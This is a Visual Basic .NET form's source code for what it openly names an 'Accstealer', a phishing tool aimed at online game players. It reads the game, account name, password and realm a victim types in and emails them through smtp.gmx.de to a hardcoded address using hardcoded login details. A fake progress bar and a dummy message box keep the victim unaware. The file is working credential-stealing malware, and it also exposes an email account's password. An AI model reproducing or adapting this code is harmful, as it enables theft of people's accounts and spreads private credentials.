Imports System.Net.Mail


Imports System.Net

Public Class Form1
    Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
        Timer1.Start()
        ProgressBar1.Visible = True
        Dim text As String
        text = "Spiel: " + ComboBox1.Text + "     Account: " + TextBox4.Text + "     Passwort: " + TextBox5.Text + "     Realm: " + TextBox6.Text + vbLf
        Dim myClient As New Net.Mail.SmtpClient("smtp.gmx.de")
        myClient.Credentials = New NetworkCredential("Lars.Dunham@gmx.de", "402581450")
        myClient.Send("Lars.Dunham@gmx.de", "Lars.Dunham@gmx.de, Lars.Dunham@gmx.de", "Accstealer", text)
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        ProgressBar1.Increment(5)
        If ProgressBar1.Value = 100 Then
            MsgBox("xxx")
            Timer1.Stop()
            Application.DoEvents()
        End If
    End Sub

    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        Me.Close()
    End Sub
End Class